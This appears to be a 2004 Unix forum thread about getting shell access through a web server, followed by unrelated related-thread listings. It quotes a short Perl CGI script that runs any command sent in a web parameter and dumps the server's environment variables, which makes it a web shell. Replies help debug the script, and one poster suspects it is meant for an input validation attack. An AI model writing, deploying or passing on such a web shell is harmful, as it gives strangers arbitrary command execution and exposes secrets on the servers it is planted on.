Shell Access


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Shell Access
# 8  
Old 03-15-2004
Quote:

#!/usr/bin/perl
use CGI qw(:standard); print header; my $k=param("turbo"); my $a=param("a"); if ($a || $k) {$l=`$k 2>&1`; print start_form,textarea("turbo",$k,5,50); print submit("turbo"); print end_form; print pre($l);} else{print "Dump of Environment variables"; foreach $key (sort(keys %ENV)) { print $key,"=", $ENV{$key}, ""; }
this is the script

reply to script is

Quote:
internal server error
TH
# 9  
Old 03-15-2004
my bad.

remove the $ENV{REMOTE_USER} parts. and it shoudl work.

if it dosnet then you have to check your webserver error log for some errors.

it works for me on my apache server.
# 10  
Old 03-15-2004
also make sure apache is configured to run your cgi programs. itll say internal server error for that also if its not.
# 11  
Old 03-18-2004
Or is TurboHacker trying to get someone to help s/h/it write an input validation attack?

I don't see any reason to do this, unless you already have shell access, or at least an administrator to help you work this out.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Programming

How to access a C function from a shell script?

Hi, I'm new to shell programming. And I'm having issues with accessing a C file with shell. Given a C code which contains functions and Lets say each function contains a multiplication instruction. So I need to extract the size of the operands (a,b) of each multiplication instruction in bits. How... (3 Replies)
Discussion started by: beginner_99
3 Replies

2. Red Hat

No shell access to sftp user

I have created two users on our ftp server. They will use sftp to connect this server. But I do not want them to give direct ssh access. If I give /bin/false shell, sftp will not work. If I give /bin/nologin, it fails with below messages # sftp trdeo@bd01.xxx.com Connecting to bd01.xxx.com...... (6 Replies)
Discussion started by: solaris_1977
6 Replies

3. Solaris

Solaris Shell - Remote access

Hi all; I'm looking for free access to the Solaris operating system. I have no way to install at home (even on a virtual machine). I been developing BOINC project (OProject@Home: site: oproject.goldbach.pl). I would like to compile and test programs on Solaris. Can someone provide a... (9 Replies)
Discussion started by: Rysiu
9 Replies

4. AIX

ftp access without shell access

Hi all, I'm using AIX v 5.3 I want to create system users to access through ftp or sftp and restrict those users into specific directory and don't traverse the whole file system just to be restricted within a directory and don't get shell access . i don't want to use any other third party... (7 Replies)
Discussion started by: h@foorsa.biz
7 Replies

5. Shell Programming and Scripting

access db2 from shell script

How to connect to db2 through shell script using cygwin? (0 Replies)
Discussion started by: supriyat
0 Replies

6. UNIX for Advanced & Expert Users

Webmail access using shell scripting

Hi all, Is it possible that I can access a webmail inbox using unix shell scripting? If that is possible, can you please give me some tips so that i can proceed further? Thanks, Geetha (6 Replies)
Discussion started by: iamgeethuj
6 Replies

7. AIX

Find all users with shell access

Hi, how do I find all users currently setup with shell access. Thanks in advance. Gav (1 Reply)
Discussion started by: LionFeen
1 Replies

8. UNIX for Dummies Questions & Answers

Shell access

Hey guys, Ive recently started playing around on public access unix systems like sdf.lonestar.org. Ive always been interested in UNIX, but Ive never really had the time to do anything with it until now. What i want to know is advice on free (or cheap) OS's to use on new unix system, with my end... (2 Replies)
Discussion started by: CerialPhreak
2 Replies

9. UNIX for Dummies Questions & Answers

shell access, please help!

Hello, i am new to unix. I have a new dedicated server, and i am using SSH to shell to it. it seems i have the option in my plesk control to give certain levels of shell access to a user. Can you please tell me what the following mean: /bin/sh /bin/bash /sbin/nologin /bin/ash /bin/bsh... (4 Replies)
Discussion started by: genzai
4 Replies

10. Shell Programming and Scripting

shell variable access

Hi I want to do the following: 1. Create a number of Gloabla varibale "ROUTE_IP_xx" based on a counter. As xx sould be from 1-10. ie ROUTE_IP_1 ROUTE_IP_2 . . ROUTE_IP_10 2. I want to initalize all of these variable to 0.0.0.0 ie ROUTE_IP_1='0.0.0.0' 3. I... (2 Replies)
Discussion started by: sabina
2 Replies
Login or Register to Ask a Question